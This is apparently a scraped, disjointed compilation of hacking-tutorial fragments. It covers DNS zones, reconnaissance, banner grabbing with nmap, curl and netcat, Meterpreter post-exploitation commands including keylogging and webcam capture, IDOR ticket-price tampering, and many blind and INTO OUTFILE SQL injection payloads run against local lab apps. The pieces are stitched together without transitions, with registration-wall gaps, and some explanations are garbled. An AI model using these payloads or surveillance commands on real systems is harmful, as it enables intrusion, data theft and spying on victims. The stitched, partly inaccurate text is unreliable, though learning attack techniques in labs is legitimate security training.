This time we are going to solve a fun Vulnerable Lab d0not5top 1.2. To do so we are going to download the VM Machine from

[To see content please register here]

• Select DNS from drop down list server manger, this will open the server on which we have install DNS role. Select your server (WIN-KSR8OM147HH ) make right click on it  and select DNS from that list.
  

• Primary Zone:  A primary DNS zone has authority of read / writes for DNS server also known as master server. It stores the master copy of zone data in a local file or in AD DS.
  
• Secondary Zone:  A Secondary DNS Zone is Read-Only copy of a Primary Zone; this DNS server is a secondary resource for information about this zone.
  
• Active Directory Integrated DNS Zone: It is also writeable zone. To make Active Directory Integrated zone the machine must be a domain Controller. RODC (read only domain controller).feature is only available in server 2008 R2.The domain controller must be writeable not read only because it is more secure. There is a security tab in the AD integrated zone, it is a multi master structured. In case of AD integrated zone, DNS database will be replicated as a part of domain replication.
  
• Stub zone: It is nature secondary. It has no database of its own. Its load the database from master DNS. It only takes selective records not the complete database. Three records NS, SOA and Glue A will transfer into stub zone. Stub is read only.
  

• Now we are going to create a new pointer in our new zone file i.e. 168.192.in-addr.arpa, as shown in given below image
  

• Recursive Query: – It goes from DNS client to DNS server. It answer is complete means processing is complete.
  
• Iterative Query: – It goes from DNS server to DNS server. It answer is not complete means its reply is referral. Iterative query is used to reach from one DNS to another DNS. It keeps the reply for 60minutes in his cache.
  

• Whos is Details
  
• Software used and version
  
• OS Details
  
• Sub Domains
  
• File Name and File Path
  
• Scripting Platform & CMS Details
  
• Contact Details
  

• Domain name details
  
• Contact details contain phone no. and email address of the owner
  
• Registration date for the domain name
  
• Expire date for the domain name
  
• Domain name servers
  

• Caller IP
  
• Whois Analyzer pro
  
• Whois lookup multiple addresses
  

1. A/AAAA
   
2. SVR
   
3. NS
   
4. TXT
   
5. MX
   
6. CNAME
   
7. SOA
   
8. RP
   
9. PTR
   
10. HINFO
    

1. Archived description of the website
   
2. Content management system and framework
   
3. Script and platform of the website and web server
   
4. Web crawling
   
5. Extract metadata and contact details from the website
   
6. Website and web page monitoring and analyzer
   

• Content Management system: WordPress
  
• Framework: PHP
  

From W3schools
HTML is the standard HyperText Markup Language which uses for designing Web pages

• HTML describes the structure of Web pages using markup.
  
• HTML elements are the building blocks of HTML pages.
  
• HTML elements are represented by tags.
  
• HTML tags label pieces of content such as “heading”, “paragraph”, “table”, and so on.
  
• Browsers do not show the HTML tags but utilize them to submit the content of the page.
  

• The <!DOCTYPE html> declaration defines this document to be HTML5
  
• The <html> element is the root element of an HTML page
  
• The <head> element contains meta information about the document
  
• The <title> element specifies a title for the document
  
• The <body> element contains the visible page content; have the bgcolor attribute as “pink”
  
• The <br>element defines break line/next line
  
• The <h1> element defines a large heading
  
• The <p> element defines a paragraph
  

• Stored HTML
  
• Reflected HTML
  

• An index number for the item, reflecting the order in which items were added.
  
• The time that the activity occurred.
  
• The action that was performed.
  
• The issue type.
  
• The host and URL path for the issue.
  
• The insertion point for the issue, where applicable.
  
• The severity and confidence of the issue.
  

1. Cross-site scripting (reflected)
   
2. Flash cross-domain policy
   
3. SQL injection
   
4. Unencrypted communications
   
5. Cross-domain Referer leakage
   
6. Email addresses disclosed
   
7. Frameable response (potential Clickjacking)
   
8. Path-relative style sheet import
   

• An index number for the item, reflecting the order in which items were added.
  
• The destination protocol, host and URL.
  
• The current status of the item, including percentage complete.
  
• The number of scan issues identified for the item.
  
• The number of requests made while scanning the item.
  
• The number of network errors
  
• The number of insertion points created for the item.
  
• The start and end times of the item’s scanning.
  

Banner refers to a text message that received from the host. Banners usually contain information about a service, such as the version number.
From Wikipedia
Banner grabbing is a process to collect details regarding any remote PC on a network and the services running on its open ports. An attacker can make use of banner grabbing in order to discover network hosts and running services with their versions on their open ports and moreover operating systems so that he can exploit it.
Nmap
A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
The banner will be shortened to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line.
Type following command which will fetch banner for every open port in remote PC.
nmap -sV --script=banner 192.168.1.106
1
nmap -sV --script=banner 192.168.1.106
From the screenshot, you can read the services and their version for open ports fetched by NMAP Script to grab the banner for the target 192.168.1.106

Following command will grab the banner for selected port i.e. 80 for http service and version.
nmap -Pn -p 80 -sV --script=banner 192.168.1.106
1
nmap -Pn -p 80 -sV --script=banner 192.168.1.106
As result, it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2”

CURL
Curl is used for the head in order to shown document information only; type following command to grab HTTP banner of remote PC.
curl -s -I 192.168.1.106 | grep -e "Server: "
1
curl -s -I 192.168.1.106 | grep -e "Server: "
As result it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2”

Telnet
Type following command to grab SSH banner of remote PC.
telnet 192.168.1.106 22
1
telnet 192.168.1.106 22
As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1”

Netcat
Type following command to grab SSH banner of remote PC.
nc -v 192.168.1.106 22
1
nc -v 192.168.1.106 22
As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1”

Dmitry
Dmitry (Deepmagic Information Gathering Tool) is a UNIX/(GNU)Linux Command Line Application coded in C. Dmitry has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and more.
Dmitry –b is used for banner grabbing for all open ports; Type following command to grab SSH banner of remote PC.
dmitry -b 192.168.1.106
1
dmitry -b 192.168.1.106
From the screenshot, you can see it has shown banner for open port 21, 22, 23 and 25.
In this way, Attacker can grab the services and their version for open ports on remote PC


Metasploit is a security project or we can say a framework provided to us in order to run exploit code in the target’s PC.
Metasploit in current scenario includes more than 1600 exploits. It has more than 420 payloads right now which includes command shell, Meterpreter etc.
Meterpreter is generated only when the session is created. It helps in gaining full access to the target machine.
Once the meterpreter is generated we can have full access to the target machine. Meterpreter includes more than 300 commands which can help us in exploiting the target machine. Help command is the most basic meterpreter command which will provide us with all the commands which can be performed on the target machine.
Some of the meterpreter commands are given below:
Sysinfo
This command will provide the system’s information of the victim. It will provide us every detail of the victim’s PC such as architecture, Operating system in the target machine, how many users are logged in into that machine, system’s language.

Getuid
This command will provide the identification of the user of the remote PC.

Getprivs
This command checks the privilege present in the remote PC. If the enabled process privileges are less than the current working user is not the admin.

Pwd
Pwd stands for present working directory. It shows the current working directory in the remote PC.

The image above clearly shows that the user is currently in the Downloads.
PS
PS command here stands for the process. It will show all the running processes in the remote PC.

The image above is providing all the running processes followed by the process id in the victim’s PC.
Keylogger
Keylogger includes 3 basic functions:
keyscan_start
This command will start scanning the keyboard activity of the remote PC.
keyscan_dump
This command will dump the keyboard activity of the remote PC i.e, it will capture the input and display on our screen.
keyscan_stop
This command will stop scanning the keyboard activity of the remote PC.

As we can clearly see in the above-given image that the input given by the victim is visible to us.
Show_mount
This command will show all the drives present in the remote PC. The drives with the total size and available size in the target’s PC is displayed below.

Screenshot
By using this command screenshot of the remote PC is captured and is saved in our PC. The path is also provided where the screenshot is saved as shown in the image below.

Upload
By using this command we can upload any file into the victim’s PC.
To upload the file in remote PC we have to provide the path of the file with the filename and extension of the file as well as the destination where we want to upload.

Download
By using this command we can download any file from the victim’s PC.
To download the file we have to first provide the path from where we want to download followed by the file name and extension of the file. In the last, we have to add the path where we want to save that downloaded file.

Shell
Shell command will provide us the access of the command prompt of the remote PC. After having access to the command prompt we can use any cmd command to exploit victim’s PC.

Getsid
In this command, sid stands for security identifier. This command will provide the server sid.

Ipconfig
This command will tell us the IP Address of the remote PC. We will also be able to know the Mac Address of the remote PC.

Background
This command will send the current active meterpreter session to the background. If you want to go back to the previous session just write sessions and then we will be able to see the active session in our PC. If there is more than one session then we only have to write sessions followed by the session id and we will have the access of that machine whose session id we just selected.

Migrate
This command helps in transferring the current going process from one port to another port.

As you can see in the image above we have transferred the current going process from port no 3872 to port no 2224.
Reboot
This command will reboot the remote PC.

Webcam_snap
This command will take a snap of the remote PC.


As you can see the above-given image is the snap taken by the remote PC.
Getpid
This command will provide us with the process id of the currently running process. The currently running process in the target machine has process id 9040 which is displayed in the below-provided image.

Localtime
This command will just show us the date and time of the remote PC.

Checksum
This command will provide the hash value of the given file. We just have to write the command followed by the name of the file as well as the extension of it. The hash value is basically the value distinctly generated for every file to maintain the integrity of the file. If there is any kind of modification in the file the hash value is changed even if there is a modification of a single character.
The above-given image provides the hash value of the file kJMKzE.

Thank You for reading this article.  We will be discussing more meterpreter commands in the next article.

Their so many ways to hack the database using SQL injection as we had seen in our previous tutorial Error based attack, login formed based attack and much more different type of attack in order to retrieve information from the inside database. In the same way today we will learn a new type of SQL injection attack known as Blind Boolean based attack.
An attacker always checks SQL injection vulnerability using a comma (‘) inside URL  to break the statement in order to receive a SQL error message. It is a fight between the developer and attacker, the developer increases the security level and the attacker tries to break it. This time developer had blocked error message as the output on the website. Hence if the database is vulnerable to SQL injection then the attacker does not obtain any error message on the website. The attacker will try to confirm if the database is vulnerable to Blind SQL Injection by evaluating the results of various queries which return either TRUE or FALSE.
Let’s start!!
Using Dhakkan we will demonstrate blind SQL injection.
Lesson 8
Lesson 8 is regarding blind boolean based injection therefore first we need to explore http://localhost:81/sqli/Less-8/?id=1 on the browser, this will send the query into the database.
SELECT * from table_name WHERE id=1
1
SELECT * from table_name WHERE id=1
As output, it will display “you are in” the yellow colour text on the web page as shown in the given image.

When an attacker tries to break this query using a comma (‘) http://localhost:81/sqli/Less-8/?id=1’
Or other different technique he will not able to found an error message. Moreover, the yellow colour text will disappear if the attacker tries to inject invalid query which also shown in the given image.

Then attacker will go for blind SQL injection to make sure, that inject query must return an answer either true or false.
http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
SELECT * from table_name WHERE id=1' AND 1=1
1
2
http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
SELECT * from table_name WHERE id=1' AND 1=1
Now database test for given condition whether 1 is equal to 1 if the query is valid it returns TRUE, from the screenshot you can see we have got yellow colour text again “you are in”, which means our query is valid.

In the next query which checks for URL
http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
SELECT * from table_name WHERE id=1' AND 1=0
1
2
http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
SELECT * from table_name WHERE id=1' AND 1=0
Now it will test the given condition whether 1 is equal to 0 as we know 1 is not equal to 0 hence database answer as ‘FALSE’ query. From the screenshot, it confirms when yellow color text gets disappear again.
Hence it confirms that the web application is infected to blind SQL injection. Using true and false condition we are going to retrieve database information.

Length of database string
The following query will ask the length of the database string. For example, the name of the database is IGNITE which contains 6 alphabets so the length of string for database IGNITE is equal to 6.
Similarly, we will inject given below query which will ask whether the length of database string is equal to 1, in the response of that query it will answer by returning TRUE or FALSE through text “you are in”.
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
From given screenshot you can see again the text gets disappear which means it has return FALSE to reply NO the length of database string is not equal to 1

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
Again it will test the length of the database string is equal to 2; it has return FALSE to reply NO the length of database string is not equal to 2. Repeat the same step till we do not receive TRUE for string length 3/4/5/ and so on.

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
when I test for the string is equal to 8; it answers as true and as result yellow colour text “you are in” appears again.

As we know the computer does not understand the human language it can read the only binary language, therefore, we will use ASCII code. The ASCII code associates an integer value for all symbols in the character set, such as letters, digits, punctuation marks, special characters, and control characters.
For example look at following string ascii code:
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69

Image Source:lookuptable.com
Further, we will enumerate the database name using ascii character for all 8 strings.
Next query will ask from database test the condition whether the first string of database name is greater than 100 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
It reflects TRUE condition hence if you match the ascii character you will observe that from 100 small alphabets string has been running till 172.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+
Similarly, it will test again whether the first letter is greater than 120. But this time it returns FALSE which means the first letter is greater than 100 and less than 120.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
Now next it will equate first string from 101, again we got FALSE.

We had performed this test from 101 till 114 but receive FALSE every time.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
Finally receive a TRUE reply at 115 which means the first string is equal to 115, where 115 =‘s’

Similarly, test for the second string, repeat above step by replacing the first string from second.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+

I received a TRUE reply at 101 which means the second string is equal to 101 and 101 = ‘e’.
Similarly, I had performed this for all eight strings and got the following result:
Given query will test the condition whether the length of string for the first table is equal to 6 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
In reply we receive TRUE and text “you are in” appears again on the web site.
Similarly I test for second and third table using same technique by replacing only table number in same query.
1 = s = 115
2 = e = 101
3 = c =99
4 = u =117
5 = r =114
6 = i = 105
7 = t = 116
8 = y = 121

Table string length
We have to use the same technique for enumerating information of the table from inside the database. Given query will test the condition whether the length of string for the first table is greater than 5 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+
In reply we receive TRUE and text “you are in” appears again on the web site.

Given query will test the condition whether the length of string for the first table is greater than 6 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+
In reply we receive FALSE and text “you are in” disappears again from the web site.

Given query will test the condition whether the length of string for the first table is equal to 6 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
In reply we receive TRUE and text “you are in” appears again on the web site.
Similarly, I test for the second and third table using the same technique by replacing only table number in the same query.

Similarly enumerating fourth table information using the following query to test the condition whether the length of string for the fourth table is equal to 5 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+
In reply we receive TRUE and text “you are in” appears again on the web site.
As we had performed in database enumeration using ascii code similarly we are going to use the same technique to retrieve the table name.

Further, we will enumerate the 4th table name using ascii character for all 5 strings.
Next query will ask from the database to test the condition whether the first string of table name is greater than 115 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+
It reflects TRUE condition text “you are in” appears again on the web site hence if you match the ascii character.

Next query will ask from the database to test the condition whether the first string of table name is greater than 120 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+
But this time it returns FALSE which means the first letter is greater than 115 and less than 120.

Proceeding towards equating the string from ascii code between number 115 to 120. Next query will ask from the database to test the condition whether the first string of table name is greater than 120 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+
It returns FALSE, text get disappear.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+
It returns TRUE, text gets to appear.
Similarly we had test remaining strings and received following result
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115

User Name Enumeration
Using the same method we are going to enumerate length of string username from inside the table users
Given below query will test for string length is equal to 4 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+
It replies TRUE with help of yellow color text

Using the same method we are going to enumerate username from inside the table users
Given below query will test for a first string using ascii code.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+
We received FALSE which means the first string must be less than 100.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+
We received TRUE which means the first string must be more than 50.

Similarly,
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+
We received TRUE which means the first string must be more than 60.

Similarly,
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+
We received FALSE which means the first string is less than 70.
Hence first string must lie between 60 and 70 of ascii code.

Proceeding towards comparing string from different ascii code using the following query.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+
This time successfully receive TRUE with appearing text “you are in”.
Similarly, I had tested for all four string in order to retrieve username:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98
Hence today we had learned how attacker hacked database using blind SQL injection.
!!Try yourself to retrieve the password for user dumb!!


Google is a tool which helps in finding what one is looking for. Google operators are the terms provided to us for making our search easy and refined. These operators also termed as advanced Google operators provide the exact information. It reduces the time of the search by instantly providing the information as we don’t have to move from one page to another one. These operators’ works as a query.
The basic syntax is->operator: term to be searched
Some of these operators are enlisted below:
Intitle
e.g->intitle:hackingarticles
This query will return the pages which include the term “hackingarticles” in it.

inurl
e.g->inurl:hackingarticles
This query will return the pages which include the term hackingarticles in its URL.

Related
e.g->related:pentest
It will provide the result related to our query i.e.pentest

Allintext
This operator will perform the task of locating a particular string in the text of the page.
e.g->allintext:rajchandel
The above-given query will return only those pages which include the terms rajchandel in the text.

Cache
This operator will show the cached version of the webpage instead of the current one. This operator is followed by the URL of the page of which we want to have the cached version.

Define
This operator provides the definition of a term as a result.
e.g->define:pentest.

Link
This operator will help you to search the pages which link to other pages. This operator is provided a URL instead of a term to search.
e.g->link:www.kccitm.edu.in

Allintitle
This operator is slightly different from the intitle operator.
In intitle operator, there was no compulsion of the term in the query to be present in the title whereas in allintitle operator this is must for the term in the query to be present in the title.
e.g->allintitle:hackingarticles

ADVANTAGES:

1. These operators provide the exact results which we are looking for.
   
2. There is no wastage of time as there is no redirecting from one page to another.
   
3. There are different operators for every task to perform i.e. Phonebook to obtain residential and business phone numbers and so on.
   

1. There should be no space between the operators, colon and the search as violating this rule will not generate the desired result.
   
2. If the search term is a phrase then there should be no space between the operator, colon as well as the first quote of the phrase.
   
3. Some advanced operators cannot be combined with others such as allintitle, allintext etc.
   
4. Boolean operators and special characters such as ‘OR’ and ‘+’ can be used in the queries but they should not be placed in the way of the colon.
   

Insecure Direct Object References (IDOR) has been placed fourth on the list of OWASP Top 10 Web application security risks since 2013. It allows an authorized user to obtain information from other users and could be established in any type of web applications. Basically, it allows requests to be made to specific objects through pages or services without the proper verification of requester’s right to the content.
OWASP definition: Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user-supplied input and uses it to retrieve an object without performing sufficient authorization checks.
The Application uses untested data in a SQL call that is accessing account information.
Let consider a scenario where a web application allows the login user to change his secret value.
Here you can see the secret value must be referring to some user account of the database.
Currently, user bee is login into a web server for changing his secret value but he is willing to perform some mischievous action that will change the secret value for another user.

Using burp suite we had captured the request of the browser where you can see in the given image login user is the bee and secret value is hello; now manipulate the user from another user.
SQLquery = “SELECT * FROM useraccounts WHERE account = ‘bee’;

Now let’s change user name into raj as shown in the given image. To perform this attack in an application it requires at least two user accounts.
SQLquery = “SELECT * FROM useraccounts WHERE account = ‘raj’;

Great!!!  We have successfully changed the secret value for raj.
Note: in any official website the attacker will replace user account from an admin account.

Let take another scenario that looks quite familiar for most of the IDOR attack.
Many times we book different order online through their web application, for example, bookmyshow.com for movie ticket booking.
Let consider the same scenario in bwapp for movie ticket booking, where I had book 10 tickets of 15 EUR for each.
Now let’s confirm it and capture the browser request through burp suite.

Now you can see we have intercepted request were highlighted text contains a number of tickets and price of one ticket i.e 15 EUR it means it will reduce 150 EUR from my (user) account; now manipulate this price from your desired price.

I had changed it into 1 EUR which means now it will reduce only 10 EUR from the account, you can observe it from a given image then forward the request.

Awesome!!! We had booked the 10 tickets in 10 EUR only.


The dynamic Web applications may make the most of the scripts to call up some functionality in the command line on the web server to process the input that received from the client and unsafe user input may lead to OS command injection.  OS Command injection is referred as shell injection attack arise when an attacker tries to perform system level commands through a vulnerable application in order to retrieve information of web server or try to make unauthorized access into the server.
Impact Analysis
Impact: Critical
Ease of Exploitability: Medium
Risk Rating: High
In this attack the attacker will inject his unwanted system level command so that he can fetch the information of web server; for example ls, whoami, uname -a and etc.
Let’s consider a scenario where web application allows the user to PING an IP another user so that it get confirms that the host connection

Verify parameters to inject data
The following parameters should be tested for command injection flaws, as the application may be using one of these parameters to build a command back at the web server:

• GET: In this method input parameters are sent in URLs.
  
• POST: In this method, input parameters are sent in the HTTP body.
  
• HTTP header: Applications frequently use header fields to discover end users and display requested information to the user based on the value in the headers.
  

• Cookies
  
• X-Forwarded-For
  
• User-agent
  
• Referrer
  

• Strong server-side validation
  
• Implement a white list
  
• OS Hardening
  
• Use build-in API’s for interacting with the OS if needed. More secure!!
  
• Avoid applications from calling out directly the OS system commands
  

• Persistent XSS
  
• Non-persistent XSS
  
• DOM-Based XSS
  

• JavaScript can change all the HTML elements in the page
  
• JavaScript can change all the HTML attributes in the page
  
• JavaScript can change all the CSS styles in the page
  
• JavaScript can remove existing HTML elements and attributes
  
• JavaScript can add new HTML elements and attributes
  
• JavaScript can react to all existing HTML events in the page
  
• JavaScript can create new HTML events on the page
  

[To see content please register here]

HTML Protector is a program to protect web pages and i decided to reverse the code to get some samples. There isn't much to it as it is a simple program that encodes pages with some protections and it has been discontinued.

Download 1:

[To see content please register here]

[To see content please register here]

[To see content please register here]

[To see content please register here]

[To see content please register here]

[To see content please register here]

HTTP (Hyper Text Transfer Protocol) is basically a client-server protocol, wherein the client (web browser) makes a request to the server and in return, the server responds to the request. The response by the server is mostly in the form of HTML formatted pages. HTTP protocol by default uses port 80, but the web server and the client can be configured to use a different port.
HTTP is a stateless protocol which means that the server does not retain the information from each user. HTTP is the backbone of the World Wide Web (www) and for it being stateless simply means that it does not remember each and every client that connects to the internet and it does not matter if a single user sends multiple requests one after another, they all will still be treated as independent requests by the server.
We are currently using HTTP 2, its predecessors were HTTP 1.0 and 1.1, and the major differences between 1.X and 2, at a higher level, are:

• Http 2 is binary and not textual
  
• Http 2 is multiplexed, it can use a single connection for parallelism, Http one, on the other hand, is based on ordering and blocking.
  
• Http 2 uses compression in its headers to reduce the overhead.
  
• Http2 gives servers the capability to “push” responses to client servers proactively.
  

• Code execution on the web server
  
• Cross Site Scripting Attacks (XSS)
  
• Denial of service (DOS)
  
• Data Manipulation Attacks
  

• Local File Inclusion
  
• Remote File Inclusion
  

• Strong Input Validation
  
• A whitelist of acceptable inputs
  
• Reject any inputs that do not strictly conform to specifications
  
• For filenames, use stringent whitelist that limits the character set to be used
  
• Exclude directory separators such as “/”
  
• Use a whitelist of allowable file extensions
  
• Environment Hardening
  
• Develop and run your code in the most recent versions of PHP available
  
• Configure your PHP applications so that it does not use register_globals
  
• Set allow_url_fopen to false, which limits the ability to include files from remote locations
  
• Run your code using the lowest privileges
  
• Use a vetted library or framework that does not allow this weakness.
  

• Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.
  
• Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
  
• Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port, and database name.
  
• Support to enumerate users, password hashes, privileges, roles, databases, tables, and columns.
  
• Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  
• Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
  
• Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain a string like a name and pass.
  
• Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  
• Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  
• Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
  
• Support for database process’ user privilege escalation via Metasploit’sMeterpreter getsystem command.
  

• Spider is paused/running– This toggle button is used to start and stop the Spider. While the Spider is stopped it will not make any requests of its own, although it will continue to process responses generated via Burp Proxy (if passive spidering is enabled), and any newly-discovered items that are within the spidering scope will be queued to be requested if the Spider is restarted.
  
• Clear queues– If you want to reprioritize your work, you can completely clear the currently queued items, so that other item can be added to the queue. Note that the cleared items may be re-queued if they remain in-scope and the Spider’s parser encounters new links to the items.
  

• Request any unrequested URLs already present within the branch.
  
• Submit any discovered forms whose action URLs lay within the branch.
  
• Re-request any items in the branch that previously returned 304 status codes, to retrieve fresh (uncached) copies of the application’s responses.
  
• Parse all content retrieved to identify new URLs and forms.
  
• Recursively repeat these steps as new content is discovered.
  
• Continue spidering all in-scope areas until no new content is discovered.
  

In our previous article you have learned the basic concepts of SQL injection but in some scenarios, you will find that your basic knowledge and tricks will fail. Today we are going to perform SELECT…INTO OUTFILE statement is the easiest way of exporting a table records into a text file or excel file
This statement allows the user to load table information very rapidly to a text file on the server machine. SELECT … INTO OUTFILE writes the significant rows to a file and gives authority to the use of column and row terminators to specify the output format. The output file is created directly by the MySQL server, so the filename with path should be specified where the user wants the file to be written on the server host. The file must not exist already on the server. It cannot be overwritten. A user requires the FILE privilege to run this statement.
Let’s start!!
Lesson 7
Open the browser and type following SQL query in URL
http://localhost:81/sqli/Less-7/?id=1
1
http://localhost:81/sqli/Less-7/?id=1
From the screenshot, you can read “you are in….. Use outfile” now let’s try to break this statement.

OKAY! The Query has been broken successfully we receive the error message when we had used single quote (‘) in order to break query hence it confirms that it is vulnerable.
http://localhost:81/sqli/Less-7/?id=1'
1
http://localhost:81/sqli/Less-7/?id=1'

After making lots of efforts finally successfully the query gets fixed if noticed the step for SQL injection is similar to the previous chapter only techniques to fix the query is different.
http://localhost:81/sqli/Less-7/?id=1')) --+
1
http://localhost:81/sqli/Less-7/?id=1')) --+

Now the following query will dump the result into a text file. Here you need to mention the path where the user wants the file to be written on the server host. The file must not exist already on server user always use a new text file for overwriting database information.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "/xampp/htdocs/sqli/Less-7/hack1.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "/xampp/htdocs/sqli/Less-7/hack1.txt" --+
From the screenshot, you can perceive that still it is showing error message now open another tab for the output of the resultant query.

http://localhost:81/sqli/Less-7/
1
http://localhost:81/sqli/Less-7/
Now add file name hack1.txt to check the output of the above query.

http://localhost:81/sqli/Less-7/hack1.txt
1
http://localhost:81/sqli/Less-7/hack1.txt
